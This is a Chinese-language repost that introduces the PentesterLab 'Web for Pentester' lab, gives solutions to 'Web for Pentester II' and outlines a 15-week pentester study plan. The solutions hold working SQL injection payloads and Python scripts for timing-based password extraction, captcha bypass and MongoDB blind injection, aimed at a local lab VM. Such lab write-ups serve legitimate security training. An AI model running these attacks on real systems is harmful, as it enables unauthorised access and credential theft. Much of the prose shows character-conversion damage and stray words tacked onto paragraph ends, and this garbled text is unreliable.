PentesterLab渗透演练平台

转载自:
https://www.blackh4t.org/archives/1143.html
http://www.91ri.org/5958.html


web for pentester是国外安全研究者开发的的一款web渗透测试平台(环境)

经过该平台你能够了解到常见的Web漏洞检测技术。php

 

一、  什么是WebApp Pentesting

WebApp Pentesting,由PentesterLab出品。官方给本身的定义是一个简单又十分有效学习渗透测试的演练平台。它提供诸多的漏洞系统以供网络安全发烧友进行测试和让黑阔们更加深入地且透彻理解“漏洞”。html

跟传统的DVWA和WebGoat等Web演练平台不一样,WebApp Pentesting提供Web漏洞练习平台的系统封装包,这有点不一样于DVWA等须要本身去搭建服务器。你不但能够针对常见Web漏洞,例如SQL注入、XSS、文件包含、文件上传进行练习,并且还能够对系统进行系统渗透提权。这种打包完善的攻防演练系统,在我国优秀的网络安全资讯网站Freebuf一篇文章《十大渗透测试演练系统》中提到过的十个演练系统中,只有exploit-wa才有相似的功能。怎样?面对如此有趣的演练系统,是否是有点跃跃欲试呢python

二、WebApp Pentesting有什么特点。

除了系统漏洞和Web漏洞双结合以外,WebApp Pentesting有两个特别突出的优势。一个是下载以后部署十分简便。只需配置好网络设置和一个service apache2 start命令就成功开启了系统。二是内容新颖,除了上文提到的传统的Web漏洞以外,LDAP attacks、XML attacts都是很新的内容哦。mysql

WebApp Pentesting 的设计人员经过对大量的Web应用的漏洞进行总结,这个演练系统的多数题目,都是基于实战的,在这个演练系统中,设计者更增强调的是对方法思路的思考而不是简单而低效地枚举或者是单纯地用工具去攻击。官方自夸他们的项目至今还没被超越过,固然,是马是驴,还须要要拉出来溜溜…<( ̄ ﹌  ̄)>linux

三、怎么使用WebApp Pentesting

到WebApp Pentesting项目的网站上下载LiveCD版的iso文件,只需几步简单的安装就能够了,熟悉Linux系统的朋友,配置网络也十分轻松,最后开启apache服务器就能进入演练系统了。git

当你看到以下页面时。说明你已经成功配置WebApp Pentesting了 ( ̄ˇ ̄) :web

界面十分简单,相信有着一个聪明小脑壳的各位,一看就会知道怎么用的。好了,实例就不讲解了,答案在官方给出的使用手册上有,并且使用手册上还仔细讲解了Web渗透测试的基础知识和总结了一些常常用到的方法,很是不错哟。祝你们使用愉快~~~ <( ̄) ̄)>sql

 

WebApp Pentesting项目网址:mongodb

https://pentesterlab.com/web_for_pentester.htmlshell

WebApp Pentesting使用手册及答案详解:

https://pentesterlab.com/web_for_pentester/web_for_pentester.pdf

PentesterLab的首页以及他们其余的项目:

https://pentesterlab.com/exercises

喜欢这个项目殊不知道如何开始入手玩起来的同窗,能够参考咱们的实战教程:《Web渗透测试攻略 [一]》《Web渗透测试攻略 [二]

 


最近一直在找mongodb的注入练习,结果在penetsterlab上找到了。发现了其中的web for pentester 2, 其实我并无作过初版。有兴趣同窗能够试着作作这一套练习包括:SQL注入,认证,受权,验证码, 覆盖属性,随机数问题,mongodb注入几部分。其中除随机数没有作出来,其余的都有解法。在pentesterlab上下载iso镜像直接用在虚拟机打开就能够了。我用的是virtualbox。 


本文转载自【技术分享】Web for Pentester II练习题解
https://pentesterlab.com/这个网站上有不少的练习题,仍是挺有意思的。有些资源是免费的,有些资源是收费的。下载web_for_pentester_II这个镜像并在虚拟机中打开而后经过主机访问,就在本地创建了一个渗透测试的环境。注意,在创建虚拟机的时候至少要给虚拟机分配1G的RAM,不然可能没法正常使用。


下面是除了Randomness Issues部分的解答。
SQL injections
1.这道题万能密码就能够绕过。
2.这道题是报错注入。用union来使返回结果为正,就能够绕过。





3.这道题把单引号过滤了,只能想办法闭合单引号。可是并无过滤反斜杠,由前边的经验咱们能够知道,后台的sql语句可能仍是select * from users where username='param1' and password='param2',那么能够构造select * from users where username='\' and password=' or 1=1#'来绕过。
4.这道题观察参数的形式,猜想多是将参数直接代入where字段进行了查询,形式为select * from users where [req content]。利用 extractvalue报错构造的payload为username='hacker' and extractvalue(1, concat(0x5e7e5e,(select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1)))#。更改limit与concat的内容能够将全部信息都查出来。


5.这道题由url形式能够推断出是在limit点的注入,能够用union注入。

6.这道题和上一题差很少,只是将limit字段改为了group字段,注入手段是同样的,均可以用union来注入。
7.这道题将id对应username相同的值都返回了,能够基于时间来注入,由and if(length(database())=21,sleep(3),0)由返回的结果时间长短来判断正确与否。

8.这道题是二次注入。使用以下用户名注册。


能够获得这样的结果。

9.这道题是宽字符注入。剩下的就很简单了。

Authentication
开发人员没有正确理解认证本质,会犯一些问题。
1.这道题是弱口令的问题,用户名和密码都是admin。
2.这道题通常用字典暴破,效率至关慢不说还不必定能找到,官方解答是用字符串的对比来实现的认证,即若是密码是password,那么输入passwodd的响应时间必定比passdddd时间长。

[python]  view plain  copy
  在CODE上查看代码片 派生到个人代码片
  1. import time  
  2. import string  
  3. import requests  
  4.   
  5. def auth():  
  6.     url = "http://192.168.153.147/authentication/example2/"  
  7.     base_time = None  
  8.     password = ""  
  9.     passwords = string.lowercase + string.uppercase + string.digits  
  10.     while True:  
  11.         tmp_start = time.time()  
  12.         html = requests.get(url, auth=("hacker", password + "a"))  
  13.         base_time = time.time()-tmp_start  
  14.         for pwd in passwords:  
  15.             start = time.time()  
  16.             html = requests.get(url, auth=("hacker", password + pwd))  
  17.             used_time = time.time() - start  
  18.             if html.status_code == 200:  
  19.                 print "[*] FIND PASSWORD: {}".format(password + pwd)  
  20.                 return  
  21.             if used_time - base_time > 0.1:  
  22.                 password += pwd  
  23.                 print "[+] password: {} ..".format(password)  
  24.                 break  
  25.             elif base_time - used_time > 0.1:  
  26.                 password += "a"  
  27.                 print "[+] password: {} ..".format(password)  
  28.                 break  
  29.             print "Use Time: {}, password:{}".format(time.time()-start, password + pwd)  
  30.   
  31. if __name__=='__main__':  
  32.     auth()  


3. 这道题登陆时在cookie字段把用户改为admin便可。

4. 这道题和上一题差很少,只是将cookie字段由明文改为了md5值。


5. 这道题已经有一个admin用户,让咱们认证它,同时提供了一个注册的接口。在MySQL中大小写不敏感,因此能够注册一个Admin来绕过。
6. 这道题和上一题差很少,不过此次转换成了小写,以前的手段不成功了。在mysql中会自动将后边的空格过滤掉,这样咱们能够注册一个admin+空格来绕过。
Captcha
1.这道题只须要把验证码参数删掉就能够。


2. 这道题的captcha在表单中。


3.这道题的captcha在cookie中。


4.这道题其实并无理解是什么意思。官方解答是没必要真正的暴破验证码,只须要破解一次而后能够重复使用相同的值和sessionid。写了一个脚本,不知道对不对。

[python]  view plain  copy
  在CODE上查看代码片 派生到个人代码片
  1. import requests  
  2.   
  3. def captcha():  
  4.     url = "http://192.168.153.147/captcha/example4/submit?captcha=modem&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2"  
  5.     header = {  
  6.         "Cookie" : ("rack.session=e05e679dac71da2ef7ec9d3bf82827dadc7b7ebdbcf6e82f4319bf034ce47c264"),  
  7.         "Referer" : "http://192.168.153.147/captcha/example4/"  
  8.     }  
  9.     ss = requests.session()  
  10.     while True:  
  11.         html = ss.get(url, headers=header)  
  12.         print "html.code: {}".format(html.status_code)  
  13.         if "Success" in html.text:  
  14.             print "[*] Done"  
  15.             break  
  16.         else:  
  17.             print "[-] Error"  
  18.   
  19. if __name__=='__main__':  
  20.     captcha()  
5. 多提交几回,就会发现这个验证码样本不多。咱们能够把它都保存下来,而后每次用验证码与保存下来的作对比。先提早把全部文件保存在代码目录的pic文件夹里,文件名是验证码的内容。


[python]  view plain  copy
  在CODE上查看代码片 派生到个人代码片
  1. import os  
  2. import hashlib  
  3. import requests  
  4. from bs4 import BeautifulSoup  
  5.   
  6. def captcha():  
  7.     url = "http://192.168.153.147/captcha/example5/"  
  8.     post_url = "http://192.168.153.147/captcha/example5/submit?captcha={}&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2"  
  9.     ss = requests.session()  
  10.     captcha = {}  
  11.     dirs,folder,files = os.walk("./pic/").next()  
  12.     for fi in files:  
  13.         if fi.endswith("png"):  
  14.             path = os.path.join(dirs, fi)  
  15.             with open(path, "rb") as f:  
  16.                 md5 = hashlib.md5(f.read()).hexdigest()  
  17.                 print md5,fi, fi[0: -4]  
  18.                 captcha[md5] = fi[0: -4]  
  19.     html = ss.get(url)  
  20.     print html.text  
  21.     soup = BeautifulSoup(html.text, "html.parser")  
  22.     src = soup.select("img")[0]["src"]  
  23.     print src  
  24.     img_data = ss.get(url + src).content  
  25.     print "[+] img_url: {}".format(url + src)  
  26.     with open("pic.png""wb") as f:  
  27.         f.write(img_data)  
  28.     with open("pic.png""rb") as f:  
  29.         img_md5 = hashlib.md5(f.read()).hexdigest()  
  30.     if img_md5 in captcha:  
  31.         html = ss.get(post_url.format(captcha[img_md5]))  
  32.         print "img_content: {}".format(captcha[img_md5])  
  33.         print "post_url: {}".format(post_url.format(captcha[img_md5]))  
  34.         if "Success" in html.text:  
  35.             print "[+] Successful.."  
  36.         else:  
  37.             print "[-] Somethine Wrong"  
  38.   
  39. if __name__=='__main__':  
  40.     captcha()  

6&7.第六题与第七题均可以用tesseract来识别,不须要作其它的操做。第六题的识别率比较高,第七题的识别率比较低,能够多试几回。

[python]  view plain  copy
  在CODE上查看代码片 派生到个人代码片
  1. import requests  
  2. import subprocess  
  3. from bs4 import BeautifulSoup  
  4.   
  5. def captcha():  
  6.     url = "http://192.168.153.147/captcha/example6/"  
  7.     login_url = "http://192.168.153.147/captcha/example6/submit?captcha={}&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2"  
  8.     ss = requests.session()  
  9.     html = ss.get(url).text  
  10.     soup = BeautifulSoup(html, "html.parser")  
  11.     pic_src = soup.select("img")[0]["src"]  
  12.     img_data = ss.get(url + pic_src).content  
  13.     img_name = "captcha.png"  
  14.     with open(img_name, "wb") as f:  
  15.         f.write(img_data)  
  16.     def img_2_str(filename):  
  17.         cmd = "tesseract {} {}"  
  18.         print cmd.format("C:\Users\houjingyi\PycharmProjects\untitled\captcha.png""result")  
  19.         strs = ""  
  20.         try:  
  21.             output = subprocess.check_output(cmd.format("C:\Users\houjingyi\PycharmProjects\untitled\captcha.png""result"), shell=True)  
  22.             with open("result.txt""r") as f:  
  23.                 strs = f.read().strip()  
  24.             return strs  
  25.         except Exception, ex:  
  26.             print Exception, ":", ex  
  27.         return strs  
  28.     result = img_2_str(img_name)  
  29.     if result != "":  
  30.         html = ss.get(login_url.format(result)).text  
  31.         if "Success" in html:  
  32.             print "[+] OK!"  
  33.   
  34. if __name__=='__main__':  
  35.     captcha()  

8.这道题的验证码须要作一些处理,先放在这里之后再作。
9.这道题的验证码是题解而且不是写在图片上的,能够直接正则匹配出来而后计算识别提交。

[python]  view plain  copy
  在CODE上查看代码片 派生到个人代码片
  1. import re  
  2. import requests  
  3. from bs4 import BeautifulSoup  
  4.   
  5. def captcha():  
  6.     url = "http://192.168.153.147/captcha/example9/"  
  7.     post_url = "http://192.168.153.147/captcha/example9/submit?captcha={}&submit=Submit"  
  8.     ss = requests.session()  
  9.     html = ss.get(url).text  
  10.     soup = BeautifulSoup(html, "html.parser")  
  11.     form = soup.select("form")[0].text  
  12.     print ((form.strip()))  
  13.     captcha = re.match(r"(\d+[\+\-\*\/]\d+)\s+=", (form.strip()))  
  14.     if captcha:  
  15.         result =  eval(captcha.group(1))  
  16.         html = ss.get(post_url.format(result)).text  
  17.         if "Success" in html:  
  18.             print "[+] OK"  
  19.   
  20. if __name__=='__main__':  
  21.     captcha()  


Authorization
1. 这道题是未受权访问,只要知道了url,不用登陆也能够访问。

2. 这道题须要登陆user1/pentesterlab并访问user2的内容,即水平权限提高。User1只有infos/1和infos/2两个文件,可是访问infos/3即user2的内容时也能够访问的到。


3.这道题和上一题差很少,使用user1的账户访问user2的内容,只不过是在修改的时候。


Mass Assignment
在web开发的时候,若是用数据库作存储时会有不少手工写的sql语句。为了方便开发人员,因而开发出了对象关系映射(Object-relational mapping)以方便不懂sql的开发人员来作数据库的操做。在ruby中,能够用@user=User.find_by_name('pentesterlab')来进行数据库的查询与结果的返回,除此以外还有建立与更新等操做。但这并不能保证安全性,若是开发人员没有对参数作好判断,就会出现重置某些属性的问题,这就是覆盖属性。
1.这道题目的是建立个admin权限的用户。观察参数,发现是user[username]=&user[password]=那么咱们试着添加一个admin属性。


2. 这道题和上一题差很少。建立一个普通用户,在更新处添加admin属性。


3. 这道题要猜一个company_id的字段。由于在一对多的结构中,即一个company对应多个user,那么在user表中会多一个company_id的外键指向company表。


MongoDB injection
mongodb是应用很普遍的一种nosql数据库,虽然不用sql,可是一样存在安全问题。
1. 在登陆时,若是是mysql这种关系型的数据库,咱们能够构造真值等式来绕过。如 or 1=1。 在nosql中一样能够,nosql中|| 1==1至关于sql中 or 1=1。


2.根据一点猜想(或者对应用的了解),想必这里还有一个password字段。
url: http://localhost/mongodb/example2/?search=admin’ && this.password.match(/./)//+%00
其中最后的//相似于sql中的--即注释做用。而%00空字符也能够阻止后边的执行。还能够加上正则中的^$分别限定。若是成功,则返回结果;若是失败,则无结果返回。

[python]  view plain  copy
  在CODE上查看代码片 派生到个人代码片
  1. import string  
  2. import requests  
  3.   
  4. def nosql():  
  5.     strs = string.lowercase + string.uppercase + string.digits  
  6.     url = "http://192.168.153.147/mongodb/example2/?search=admin%27%20%26%26%20this.password.match(/^{}$/)//+%00"  
  7.     password = ""  
  8.     while True:  
  9.         for char in strs:  
  10.             tmp = password + char  
  11.             html = requests.get(url.format(tmp + ".*"))  
  12.             if "admin" in html.text:  
  13.                 password += char  
  14.                 print "[-] find a char:{}".format(password)  
  15.                 break  
  16.         html = requests.get(url.format(password))  
  17.         if "admin" in html.text:  
  18.             print "[+] Done! password:{}".format(password)  
  19.             break  
  20.   
  21. if __name__=='__main__':  
  22.     nosql()  



PentesterLab渗透师养成计划

https://www.blackh4t.org/archives/1143.html


Ps:
PentesterLab推出了一个渗透师的学习课程,看了一下感受挺有条理,能够顺着这个学习路径巩固知识或者重新学习.
课程地址 ———— http://pentesterlab.com/bootcamp/
课程总共分为15周,这里我也以其为区分,这个学习路径我感受仍是很是不错的.

0x01 Week 1 – Linux and scripting
—————————————————————
参考列表:
Hypertext Transfer Protocol – http://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol
Domain Name System – http://en.wikipedia.org/wiki/Domain_Name_System
Whois – http://en.wikipedia.org/wiki/Whois
Network socket – http://en.wikipedia.org/wiki/Network_socket
实践:
安装Linux:挑选一款虚拟机软件(Vbox,VM)并安装Linux,可使用相似Ubuntu这样的传统发行版.
学习基本的脚本语言: 从Ruby (Try Ruby: http://tryruby.org/)、Python (Online: http://repl.it/languages/Python) 或者 Perl 中挑选一门,学习语法和他的数据类型.这是一个锲而不舍的过程.
—————————————————————

0x02 Week 2 – HTTP
—————————————————————
参考列表:
TCP/IP – http://en.wikipedia.org/wiki/Internet_protocol_suite
Secure Sockets Layer – http://en.wikipedia.org/wiki/Secure_Sockets_Layer
实践:
在虚拟机中安装Apache,使用VIM更改主站的首页,并经过浏览器访问这个页面.
更改你的Host文件,使其能够用vulnerable这个名称访问到.
使用HTTP库(好比使用Ruby的net/http)写一个HTTP客户端来接收你当前站点的返回包.
使用Socket写一个HTTP客户端来接收你当前站点的返回包.
下载BurpSuite并访问一个站点,看看发送了神马请求返回了什么数据.
—————————————————————

0x03 Week 3 – PHP and DNS
—————————————————————
参考列表:
Learn about virtual hosting – http://en.wikipedia.org/wiki/Virtual_hosting
and how to setup vhosts with Apache – http://httpd.apache.org/docs/2.2/vhosts/name-based.html
Zone transfer – http://www.digininja.org/projects/zonetransferme.php
实践:
PHP基础:
在你以前装过Apache的虚拟机中安装PHP,写一个脚本响应有参数的URL,好比访问http://vulnerable/hello.php?name=Louis将返回”Hello Louis”.
安装MySQL并写一个能响应SQL查询的脚本,好比article.php?id=1能够返回a book而article.php?id=2能够返回a computer.
写一个页面使用POST方式向其本身传输数据.
DNS and whois:
在虚拟机中安装命令行工具 dig.
找出PentesterLab所属的Name server,Mail server,而且找出www.pentesterlab.com的真实IP地址
使用whois工具找出pentesterlab.com域名拥有者的注册信息.
—————————————————————

0x04 Week 4 – SSL
—————————————————————
参考列表:
SQL injection – http://en.wikipedia.org/wiki/SQL_injection
Remote File Inclusion – http://en.wikipedia.org/wiki/Remote_file_inclusion
实践:
配置SSL – 在你的Webserver使用HTTPS
玩转SSL –
用HTTP库写一个SSL客户端
用Socket写一个SSL客户端
使用socat工具创建 socket<->ssl-socket链接来访问你以前写的脚本.
—————————————————————

0x05 Week 5 – SQL injection & Local File Include
—————————————————————
参考列表:
MIME – http://en.wikipedia.org/wiki/MIME
实践:
跟随《SQL injection to Shell》这篇文章学习
https://pentesterlab.com/exercises/from_sqli_to_shell/
跟随《PHP Include And Post Exploitation》这篇文章学习
https://pentesterlab.com/exercises/php_include_and_post_exploitation/
—————————————————————

0x06 Week 6 – More SQL injection
—————————————————————
参考列表:
Antisec Movement – http://en.wikipedia.org/wiki/Antisec_Movement
DHCP – http://en.wikipedia.org/wiki/DHCP
FTP – http://en.wikipedia.org/wiki/FTP
Request for Comments – http://en.wikipedia.org/wiki/Request_for_Comments
实践:
学习《SQL injection to Shell》编写脚本(使用Burp帮助调试)
https://pentesterlab.com/exercises/from_sqli_to_shell/
实践《SQL injection to shell》在Postgres的数据库环境下,不要对着PDF作
https://pentesterlab.com/exercises/from_sqli_to_shell_pg_edition/
检查你在Week3所写的PHP代码是否有漏洞(SQL检索数据那部分)
—————————————————————

0x07 Week 7 – FTP and traffic analysis
—————————————————————
参考列表:
Phrack – http://en.wikipedia.org/wiki/Phrack
Phrack: Happy Hacking – http://phrack.org/issues.html?issue=68&id=7#article
Phrack profile on FX – http://phrack.org/issues.html?issue=68&id=2#article
实践:
安装和使用WireShark –
检查你写的HTTP客户端的通讯(使用”Follow TCP Stream”)和HTTPS客户端的同窗(检查SSL握手包)
FTP –
在虚拟机中安装FTP服务
使用Socket写一个FTP客户端
—————————————————————

0x08 Week 8 – Linux review and Code Exec
—————————————————————
参考列表:
Iptables – http://en.wikipedia.org/wiki/Iptables
Internet Control Message Protocol – http://en.wikipedia.org/wiki/Internet_Control_Message_Protocol
Cryptography – http://en.wikipedia.org/wiki/Cryptography
Cryptographic hash function – http://en.wikipedia.org/wiki/Cryptographic_hash_functions
实践:
学习《Introduction to Linux Host Review》
https://pentesterlab.com/exercises/linux_host_review/
学习《CVE-2012-1823: PHP CGI》
https://pentesterlab.com/exercises/cve-2012-1823/
—————————————————————

0x09 Week 9 – Linux review and Code Exec
—————————————————————
参考列表:
C (programming language) – http://en.wikipedia.org/wiki/C_(programming_language)
Nmap – http://en.wikipedia.org/wiki/Nmap
Setuid – http://en.wikipedia.org/wiki/Setuid
实践:
HTTP服务
写一个HTTP服务(使用fork来处理更多的链接)
Connect to your HTTP server with your browser and check the requests done by your browser
Iptables学习
若是Iptable开启了那么在你的虚拟机中关闭它
使用Iptables组织ICMP请求,使用Ping来检查它是否工做
—————————————————————

0x10 Week 10 – Nmap and Crypto Attacks
—————————————————————
参考列表:
Wifi – http://en.wikipedia.org/wiki/Wifi
WEP – http://en.wikipedia.org/wiki/Wired_Equivalent_Privacy
WAP – http://en.wikipedia.org/wiki/Wi-Fi_Protected_Access
实践:
Nmap
使用Nmap扫描你虚拟机打开的端口
使用Nmap扫描你虚拟机打开的端口,可是前提是使用Iptables阻止了ICMP请求的状况下
使用Iptable来关闭一个打开的端口,使用Nmap来检测是否有效
找一个本地的会议(Ruxmon, 2600…)去瞅瞅
学习《CVE-2008-1930: WordPress 2.5 Cookie Integrity Protection Vulnerability》
https://pentesterlab.com/exercises/cve-2008-1930/
—————————————————————

0x11 Week 11 – WIFI
—————————————————————
参考列表:
Environment Variables – https://wiki.archlinux.org/index.php/Environment_Variables
Network Time Protocol – http://en.wikipedia.org/wiki/Network_Time_Protocol
SMB – http://en.wikipedia.org/wiki/Server_Message_Block
实践:
设立一个WEP加密方式的WIFI热点,而后破掉他的Key
学习《Rack Cookies and Commands Injection》
https://pentesterlab.com/exercises/rack_cookies_and_commands_injection/
—————————————————————

0x12 Week 12 – Linux Exploitation
—————————————————————
参考列表:
Memory management – http://en.wikipedia.org/wiki/Memory_management
Stack – http://en.wikipedia.org/wiki/Call_stack
Stack protection – http://en.wikipedia.org/wiki/Stack_protection
实践:
下载并搞定Nebula(http://exploit-exercises.com/nebula)的levels 00到04
从exploit-exercises(http://exploit-exercises.com/)
—————————————————————

0x13 Week 13 – SSL Pinning and Linux Exploitation
—————————————————————
参考列表:
Public key pinning – https://www.imperialviolet.org/2011/05/04/pinning.html
Your app shouldn’t suffer SSL’s problems – http://www.thoughtcrime.org/blog/authenticity-is-broken-in-ssl-but-your-app-ha/
Guardian’s StrongTrustManager Vulnerabilities – http://www.thoughtcrime.org/blog/strongtrustmanager-mitm/
实践:
下载并搞定Nubla的levels 05到09,从exploit-exercises
学习《From SQL injection to SHELL 2》
https://pentesterlab.com/exercises/from_sqli_to_shell_II/
—————————————————————

0x14 Week 14 – Web For Pentester
—————————————————————
参考列表:
阅读 Web For Pentester – https://pentesterlab.com/exercises/web_for_pentester/
实践:
搞定Nebula的levels 10到14,从exploit-exercises
作《Web For Pentester》中的练习
—————————————————————

0x15 Week 15 – Web For Pentester II
—————————————————————
参考列表:

实践:
搞定Nebula的levels 15到19,从exploit-exercises
作《Web For Pentester II》中的练习
https://pentesterlab.com/exercises/web_for_pentester_II/
—————————————————————

做者推荐的一些书籍
—————————————————————
技术书籍:
《The Art of Software Security Assessment: Identifying and Preventing Software Vulnerabilities》
《The Web Application Hacker’s Handbook: Discovering and Exploiting Security Flaws》
《Hacking: The Art of Exploitation, 2nd Edition》
《The Tangled Web: A Guide to Securing Modern Web Applications》

非技术书记: 《Underground》 《Exploding the Phone: The Untold Story of the Teenagers and Outlaws who Hacked Ma Bell》 《The Pleasure of Finding Things Out: The Best Short Works of Richard P. Feynman (Helix Books)》 … —————————————————————